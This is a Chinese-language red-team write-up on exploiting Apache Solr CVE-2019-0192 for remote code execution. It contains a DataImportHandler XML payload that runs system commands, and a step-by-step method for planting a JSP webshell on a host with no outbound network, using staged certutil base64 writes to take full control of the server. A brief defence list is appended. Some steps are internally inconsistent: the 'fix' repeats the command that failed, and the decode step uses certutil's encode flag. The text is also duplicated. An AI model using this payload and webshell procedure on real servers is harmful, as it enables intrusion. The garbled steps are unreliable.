某次红蓝对抗之Solr-RCE实战绕过
字数 1163 2025-08-27 12:33:54

Solr-RCE实战绕过技术文档(CVE-2019-0192)

1. 漏洞背景

Apache Solr是一个开源的搜索平台,基于Apache Lucene构建。CVE-2019-0192漏洞允许攻击者通过Solr的DataImportHandler功能实现远程代码执行(RCE)。

2. 漏洞利用条件

  • 目标系统运行受影响版本的Apache Solr
  • DataImportHandler功能已启用
  • 攻击者能够访问Solr的管理界面

3. 基本利用方法

3.1 初始命令执行

基本payload结构:

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
    function poc(){ java.lang.Runtime.getRuntime().exec("cmd /c whoami");
    }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

3.2 命令执行限制

在实际测试中发现:

  • 只能执行返回字段较少的命令(如whoamiipconfig
  • 直接执行dir命令失败
  • 目标系统不出网(无法直接反弹shell)

4. 绕过技术

4.1 命令执行绕过

问题:直接执行dir失败
解决方案:使用完整路径调用命令

java.lang.Runtime.getRuntime().exec("cmd /c dir");

4.2 不出网情况下的利用

当目标不出网时,最佳选择是写入webshell。

4.2.1 寻找可写目录

  1. 使用命令执行查找Solr安装目录
  2. 确认.jsp文件不受路由规则限制

4.2.2 文件写入技术

初始问题:使用echo写入失败
原因:特殊字符导致写入失败
解决方案:对特殊字符进行编码

JSP webshell问题

  • JSP webshell包含%字符
  • 直接写入%字符失败

最终解决方案

  1. 使用Certutil进行base64编码/解码
  2. 分步骤写入:
    • 先写入编码后的webshell内容
    • 然后使用Certutil解码

示例命令:

java.lang.Runtime.getRuntime().exec("cmd /c certutil -encode encoded.txt 123.jsp");

4.2.3 写入后验证

  1. 检查文件是否成功写入
  2. 访问时出现500错误
  3. 查看文件内容发现问题:
    • 解码时缺少>字符
    • 可能是目标系统一次性字符长度限制

解决方案

  • 追加缺少的字符
  • 分多次写入内容

5. 完整利用流程

  1. 确认漏洞存在(使用基本命令如whoami)
  2. 探测系统限制(命令长度、特殊字符等)
  3. 查找Solr目录结构
  4. 准备编码后的webshell
  5. 分步写入文件:
    • 写入编码内容
    • 使用Certutil解码
    • 补全缺失字符
  6. 验证webshell可访问性
  7. 通过webshell获取系统完全控制权

6. 防御建议

  1. 及时升级Apache Solr到安全版本
  2. 禁用DataImportHandler功能(如不需要)
  3. 限制Solr管理界面的访问权限
  4. 实施网络隔离,限制Solr实例的出站连接
  5. 监控可疑的.jsp文件创建行为

7. 总结

该漏洞利用的关键点在于:

  • 理解目标系统的命令执行限制
  • 掌握特殊字符的绕过技术
  • 在不出网环境下使用Certutil编码/解码技术
  • 分步骤写入webshell并解决写入过程中的问题

通过系统性的测试和逐步解决问题,最终可以在限制较多的环境中成功利用该漏洞获取系统权限。

Solr-RCE实战绕过技术文档(CVE-2019-0192) 1. 漏洞背景 Apache Solr是一个开源的搜索平台,基于Apache Lucene构建。CVE-2019-0192漏洞允许攻击者通过Solr的DataImportHandler功能实现远程代码执行(RCE)。 2. 漏洞利用条件 目标系统运行受影响版本的Apache Solr DataImportHandler功能已启用 攻击者能够访问Solr的管理界面 3. 基本利用方法 3.1 初始命令执行 基本payload结构: 3.2 命令执行限制 在实际测试中发现: 只能执行返回字段较少的命令(如 whoami 、 ipconfig ) 直接执行 dir 命令失败 目标系统不出网(无法直接反弹shell) 4. 绕过技术 4.1 命令执行绕过 问题 :直接执行 dir 失败 解决方案 :使用完整路径调用命令 4.2 不出网情况下的利用 当目标不出网时,最佳选择是写入webshell。 4.2.1 寻找可写目录 使用命令执行查找Solr安装目录 确认.jsp文件不受路由规则限制 4.2.2 文件写入技术 初始问题 :使用 echo 写入失败 原因 :特殊字符导致写入失败 解决方案 :对特殊字符进行编码 JSP webshell问题 : JSP webshell包含 % 字符 直接写入 % 字符失败 最终解决方案 : 使用Certutil进行base64编码/解码 分步骤写入: 先写入编码后的webshell内容 然后使用Certutil解码 示例命令: 4.2.3 写入后验证 检查文件是否成功写入 访问时出现500错误 查看文件内容发现问题: 解码时缺少 > 字符 可能是目标系统一次性字符长度限制 解决方案 : 追加缺少的字符 分多次写入内容 5. 完整利用流程 确认漏洞存在(使用基本命令如whoami) 探测系统限制(命令长度、特殊字符等) 查找Solr目录结构 准备编码后的webshell 分步写入文件: 写入编码内容 使用Certutil解码 补全缺失字符 验证webshell可访问性 通过webshell获取系统完全控制权 6. 防御建议 及时升级Apache Solr到安全版本 禁用DataImportHandler功能(如不需要) 限制Solr管理界面的访问权限 实施网络隔离,限制Solr实例的出站连接 监控可疑的.jsp文件创建行为 7. 总结 该漏洞利用的关键点在于: 理解目标系统的命令执行限制 掌握特殊字符的绕过技术 在不出网环境下使用Certutil编码/解码技术 分步骤写入webshell并解决写入过程中的问题 通过系统性的测试和逐步解决问题,最终可以在限制较多的环境中成功利用该漏洞获取系统权限。